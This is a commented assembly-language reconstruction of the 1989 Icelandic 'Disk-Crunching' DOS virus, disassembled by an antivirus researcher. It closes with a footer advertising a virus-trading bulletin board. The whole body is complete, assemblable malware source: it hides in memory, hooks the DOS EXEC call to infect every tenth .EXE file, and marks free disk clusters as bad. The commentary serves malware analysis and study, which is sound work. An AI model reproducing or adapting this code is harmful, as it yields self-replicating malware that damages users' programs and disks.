;       THE ICELANDIC "DISK-CRUNCHING" VIRUS
;
;       Another possible name for this virus might be "One-in-ten", since
;       it tries to infect every tenth program run. The Icelandic name for
;       this virus ("Diskaetuvirus") translates to "Disk-eating virus"
;
;       It was first located at one site in mid-June '89. It has since then
;       been found at a few other places, but is quite rare yet. So far it
;       does not seem to have spread to any other country.
;
;       Disassembly done in June/July '89.
;
;       The author of this program is unknown, but it appears to be of
;       Icelandic origin.
;
;       All comments in this file were added by Fridrik Skulason,
;       University of Iceland/Computing Services.
;
;       INTERNET:     frisk@rhi.hi.is
;       UUCP:         ...mcvax!hafro!rhi!frisk
;       BIX:          FRISK
;
;       To anyone who obtains this file - please be careful with it, I
;       would not like to see this virus be distributed too much. The code
;       is very clear, and the virus is quite well written. It would be VERY
;       easy to modify it to do something really harmful.
;
;       A short description of the virus:
;
;       It only infects .EXE files. Infected files grow by 656 to 671
;       bytes, and the length of the infected file MOD 16 will always be 0.
;       The virus attaches itself to the end of the programs it infects.
;
;       When an infected file is run, the virus copies itself to top of
;       free memory, and modifies the memory blocks, in order to hide from
;       memory mapping programs. Some programs may overwrite this area,
;       causing the computer to crash.
;
;       The virus does nothing if some other program has hooked INT 13
;       before it is run. This is probably done to avoid detection by
;       protection programs, but it also means that many ordinary
;       programs like SideKick and disk cache software will disable it.
;       Even the PRINT command will disable the virus. This reduces the
;       spread of the virus, but also greatly reduces the possibility that
;       the virus will be detected.
;
;       The virus will hook INT 21H and when function 4B (EXEC) is called
;       it sometimes will infect the program being run. It will check every
;       tenth program that is run for infection, and if it is not already
;       infected, it will be.
;
;       The virus will remove the Read-Only attribute before trying to
;       infect programs.
;
;       Infected files can be easily recognized, since they always end in
;       4418,5F19.
;
;       To check for system infection, a byte at 0:37F is used - if it
;       contains FF the virus is installed in memory.
;
;       This virus is slightly harmful, but does no serious damage.
;       On floppy-only, or machines with 10Mbyte hard disks it will do
;       no damage at all, but on machines with larger hard disks it will
;       select one unused entry in the FAT table, and mark it as bad, when it
;       infects a file. Since the virus only modifies the first copy of the
;       FAT, a quick fix is simply to copy the second table over the first.
;       This is the only "mistake" I have found in this virus. It appears
;       to be very well written - What a shame the programmer did not use
;       his abilities for something more constructive.
;
;       This file was created in the following way: I wrote a small program,
;       that did nothing but write "Hello world!" and ran it several times,
;       until it became infected. I then diassembled the program, changed
;       it into an .ASM file, and worked on it until this file, when
;       assembled, produced the same file as the original infected one.
;
;       (Or almost the same - the checksum in the header is different).
;
VIRSIZ  EQU     128
 
        ASSUME CS:_TEXT,DS:_TEXT,SS:NOTHING,ES:NOTHING
;
;       This is the original program.
;
_TEXT1  SEGMENT PARA PUBLIC 'CODE'
_START  DB      0b4H,09H
        PUSH    CS
        POP     DS
        MOV     DX,OFFSET STRING
        INT     21H
        MOV     AX,4C00H
        INT     21H
STRING  DB      "Hello world!",0dh,0ah,"$"
 _TEXT1 ENDS
 
_TEXT SEGMENT PARA PUBLIC 'CODE'
 
;
;       The virus is basically divided in three parts.
;
;       1. The main program - run when an infected program is run.
;          It will check if the system is already infected, and if not
;          it will install the virus.
;
;       2. The new INT 21 handler. It will look for EXEC calls, and
;          (sometimes) infect the program being run.
;
;       3. The damage routine. It will select one unused cluster and mark it
;          as bad.
;
VIRUS   PROC FAR
;
;       This is a fake MCB
;
        DB      'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
;
;       The virus starts by pushing the original start address on the stack,
;       so it can transfer control there when finished.
;
LABEL1: SUB     SP,4
        PUSH    BP
        MOV     BP,SP
        PUSH    AX
        MOV     AX,ES
;
;       Put the the original CS on the stack. The ADD AX,data instruction
;       is modified by the virus when it infects other programs.
;
        DB      05H
ORG_CS  DW      0010H
        MOV     [BP+4],AX
;
;       Put the the original IP on the stack. This MOV [BP+2],data instruction
;       is modified by the virus when it infects other programs.
;
        DB      0C7H,46H,02H
ORG_IP  DW      0000H
;
;       Save all registers that are modified.
;
        PUSH    ES
        PUSH    DS
        PUSH    BX
        PUSH    CX
        PUSH    SI
        PUSH    DI
;
;       Check if already installed. Quit if so.
;
        XOR     AX,AX
        MOV     ES,AX
        CMP     ES:[37FH],BYTE PTR 0FFH
        JNE     L1
;
;       Restore all registers and return to the original program.
;
EXIT:   POP     DI
        POP     SI
        POP     CX
        POP     BX
        POP     DS
        POP     ES
        POP     AX
        POP     BP
        RET
;
;       Check if INT 13 is 0070:xxxx or F000:xxxx. If not, assume some
;       program is monitoring int 13, and quit.
;
L1:     MOV     AX,ES:[4EH]
        CMP     AX,0070H
        JE      L2
        CMP     AX,0F000H
        JNE     EXIT
;
;       Set the installation flag, so infected programs run later will
;       recognize the infection.
;
L2:     MOV     ES:[37FH],BYTE PTR 0FFH
;
;       The virus tries to hide from detection by modifying the memory block it
;       uses, so it seems to be a block that belongs to the operating system.
;
;       It looks rather weird, but it seems to work.
;
        MOV     AH,52H
        INT     21H
        MOV     AX,ES:[BX-2]
        MOV     ES,AX
        ADD     AX,ES:[0003]
        INC     AX
        INC     AX
        MOV     CS:[0001],AX
;
;       Next, the virus modifies the memory block of the infected program.
;       It is made smaller, and no longer the last block.
;
        MOV     BX,DS
        DEC     BX
        MOV     DS,BX
        MOV     AL,'M'
        MOV     DS:[0000],AL
        MOV     AX,DS:[0003]
        SUB     AX,VIRSIZ
        MOV     DS:[0003],AX
        ADD     BX,AX
        INC     BX
;
;       Then the virus moves itself to the new block. For some reason 2000
;       bytes are transferred, when 656 would be enough. Maybe the author just
;       wanted to leave room for future expansions.
;
        MOV     ES,BX
        XOR     SI,SI
        XOR     DI,DI
        PUSH    CS
        POP     DS
        MOV     CX,2000
        CLD
        REP     MOVSB
;
;       The virus then transfers control to the new copy of itself.
;
        PUSH    ES
        MOV     AX,OFFSET L3
        PUSH    AX
        RET
;
;       The main program modifies INT 21 next and finally returns to the
;       original program. The original INT 21 vector is stored inside the
;       program so a JMP [OLD INT21] instruction can be used.
;
L3:     XOR     AX,AX
        MOV     ES,AX
        MOV     AX,ES:[0084H]
        MOV     CS:[OLD21],AX
        MOV     AX,ES:[0086H]
        MOV     CS:[OLD21+2],AX
        MOV     AX,CS
        MOV     ES:[0086H],AX
        MOV     AX,OFFSET NEW21
        MOV     ES:[0084H],AX
        JMP     EXIT
VIRUS   ENDP
;
;       This is the INT 21 replacement. It only does something in the case
;       of an EXEC call.
;
NEW21   PROC FAR
        CMP     AH,4BH
        JE      L5
L4:     DB      0EAH
OLD21   DW      0,0
;
;       Only attack every tenth program run.
;
L5:     DEC     CS:[COUNTER]
        JNE     L4
        MOV     CS:[COUNTER],10
;
;       Save all affected registers.
;
        PUSH    AX
        PUSH    BX
        PUSH    CX
        PUSH    DX
        PUSH    SI
        PUSH    DS
;
;       Search for the file name extension ...
;
        MOV     BX,DX
L6:     INC     BX
        CMP     BYTE PTR [BX],'.'
        JE      L8
        CMP     BYTE PTR [BX],0
        JNE     L6
;
;       ... and quit unless it starts with "EX".
;
L7:     POP     DS
        POP     SI
        POP     DX
        POP     CX
        POP     BX
        POP     AX
        JMP     L4
L8:     INC     BX
        CMP     WORD PTR [BX],5845H
        JNE     L7
;
;       When an .EXE file is found, the virus starts by turning off
;       the read-only attribute. The read-only attribute is not restored
;       when the file has been infected.
;
        MOV     AX,4300H                ; Get attribute
        INT     21H
        JC      L7
        MOV     AX,4301H                ; Set attribute
        AND     CX,0FEH
        INT     21H
        JC      L7
;
;       Next, the file is examined to see if it is already infected.
;       The signature (4418 5F19) is stored in the last two words.
;
        MOV     AX,3D02H                ; Open / write access
        INT     21H
        JC      L7
        MOV     BX,AX                   ; file handle in BX
        PUSH    CS                      ; now DS is no longer needed
        POP     DS
;
;       The header of the file is read in at [ID+8]. The virus then
;       modifies itself, according to the information stored in the
;       header. (The original CS and IP addressed are stored).
;
        MOV     DX,OFFSET ID+8
        MOV     CX,1CH
        MOV     AH,3FH
        INT     21H
        JC      L9
        MOV     AX,DS:ID[1CH]
        MOV     DS:[ORG_IP],AX
        MOV     AX,DS:ID[1EH]
        ADD     AX,10H
        MOV     DS:[ORG_CS],AX
;
;       Next the read/write pointer is moved to the end of the file-4,
;       and the last 4 bytes read. They are compared to the signature,
;       and if equal nothing happens.
;
        MOV     AX,4202H
        MOV     CX,-1
        MOV     DX,-4
        INT     21H
        JC      L9
        ADD     AX,4
        MOV     DS:[LEN_LO],AX
        JNC     L8A
        INC     DX
L8A:    MOV     DS:[LEN_HI],DX
 
        MOV     AH,3FH
        MOV     CX,4
        MOV     DX,OFFSET ID+4
        INT     21H
        JNC     L11
L9:     MOV     AH,3EH
        INT     21H
L10:    JMP     L7
;
;       Compare to 4418,5F19
;
L11:    MOV     SI,OFFSET ID+4
        MOV     AX,[SI]
        CMP     AX,4418H
        JNE     L12
        MOV     AX,[SI+2]
        CMP     AX,5F19H
        JE      L9
;
;       The file is not infected, so the next thing the virus does is
;       infecting it. First it is padded so the length becomes a multiple
;       of 16 bytes. Tis is probably done so the virus code can start at a
;       paragraph boundary.
;
L12:    MOV     AX,DS:[LEN_LO]
        AND     AX,0FH
        JZ      L13
        MOV     CX,16
        SUB     CX,AX
        ADD     DS:[LEN_LO],CX
        JNC     L12A
        INC     DS:[LEN_HI]
L12A:   MOV     AH,40H
        INT     21H
        JC      L9
;
;       Next the main body of the virus is written to the end.
;
L13:    XOR     DX,DX
        MOV     CX,OFFSET ID + 4
        MOV     AH,40H
        INT     21H
        JC      L9
;
;       Next the .EXE file header is modified:
;
;       First modify initial IP
;
        MOV     AX,OFFSET LABEL1
        MOV     DS:ID[1CH],AX
;
;       Modify starting CS = Virus CS. It is computed as:
;
;       (Original length of file+padding)/16 - Start of load module
;
        MOV     DX,DS:[LEN_HI]
        MOV     AX,DS:[LEN_LO]
        SHR     DX,1
        RCR     AX,1
        SHR     DX,1
        RCR     AX,1
        SHR     DX,1
        RCR     AX,1
        SHR     DX,1
        RCR     AX,1
        SUB     AX,DS:ID[10H]
        MOV     DS:ID[1EH],AX
;
;       Modify length mod 512
;
        ADD     DS:[LEN_LO],OFFSET ID+4
        JNC     L14
        INC     DS:[LEN_HI]
L14:    MOV     AX,DS:[LEN_LO]
        AND     AX,511
        MOV     DS:ID[0AH],AX
;
;       Modify number of blocks used
;
        MOV     DX,DS:[LEN_HI]
        MOV     AX,DS:[LEN_LO]
        ADD     AX,511
        JNC     L14A
        INC     DX
L14A:   MOV     AL,AH
        MOV     AH,DL
        SHR     AX,1
        MOV     DS:ID[0CH],AX
;
;       Finally the modified header is written back to the start of the
;       file.
;
QQQ:    MOV     AX,4200H
        XOR     CX,CX
        XOR     DX,DX
        INT     21H
        JC      ENDIT
        MOV     AH,40H
        MOV     DX,OFFSET ID+8
        MOV     CX,1CH
        INT     21H
        JC      ENDIT
        MOV     AH,3EH
        INT     21H
        JNC     DAMAGE
;
;       Infection is finished - close the file and execute it
;
ENDIT:  JMP     L9
NEW21   ENDP
;
;       The damage routine. As before noted, it will only do damage on
;       systems with a hard disk larger than 10Mbytes (With 16 bit FAT)
;
TEMP    DW      0
;
;       Start by getting some information about the current drive, like size
;       of the FAT etc. Then compute the total number of sectors, and quit
;       unless it is greater than 20740. This is probably done since larger
;       disks use 16 bit FAT entries, instead of 12, which makes life easier
;       for the programmer.
;
DAMAGE: MOV     AH,32H
        MOV     DL,0
        INT     21H
        CMP     AL,0FFH
        JE      L21
        XOR     AX,AX
        MOV     AL,[BX+4]
        INC     AX
        MOV     CS:[TEMP],AX
        MOV     AX,[BX+0DH]
        DEC     AX
        MUL     CS:[TEMP]
        ADD     AX,[BX+0BH]
        JNC     L15A
        INC     DX
L15A:   CMP     DX,0
        JNE     L15B
        CMP     AX,20740
        JBE     L21
;
;       Check if DOS version is 4.0 or greater. If so, use a 16 bit value
;       for numbers of sectors in the FAT, otherwise use a 8 bit entry.
;
L15B:   PUSH    BX
        MOV     AH,30H
        INT     21H
        POP     BX
        CMP     AL,4
        JAE     L15
        XOR     AX,AX
        MOV     AL,[BX+0FH]
        JMP     SHORT L16
L15:    MOV     AX,[BX+0FH]
L16:    ADD     AX,[BX+6]
        DEC     AX
        MOV     DX,AX
        MOV     AL,[BX]
;
;       Read the last sector in the first copy of the FAT. Search backwards
;       for an unused entry. If none is found, read the sector before that
;       and so on. If no free entry is found on the entire disk then quit.
;
L20:    MOV     CX,1
        MOV     BX,OFFSET ID+4
        PUSH    CS
        POP     DS
        PUSH    AX
        PUSH    DX
        INT     25H
        POPF
        JC      L21
        POP     DX
        POP     AX
        MOV     SI,510
L17:    MOV     BX,DS:[ID+4+SI]
        CMP     BX,0000
        JE      L19
        CMP     SI,0000
        JE      L18
        DEC     SI
        DEC     SI
        JMP     L17
L18:    DEC     DX
        CMP     DX,8
        JE      L21
        JMP     L20
;
;       A free entry has been found. Make it look like a bad cluster, by
;       changing the 0000 value to FFF7.
;
L19:    MOV     DS:[ID+4+SI],0FFF7H
        MOV     CX,1
        MOV     BX,OFFSET ID+4
        INT     26H
        POPF
L21:    JMP     L7
 
COUNTER DB      10
LEN_LO  DW      ?
LEN_HI  DW      ?
ID      DW      4418H,5F19H             ; The signature of the virus.
;
;       A buffer, used for data from the file.
;
_TEXT   ENDS
 
        END LABEL1

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

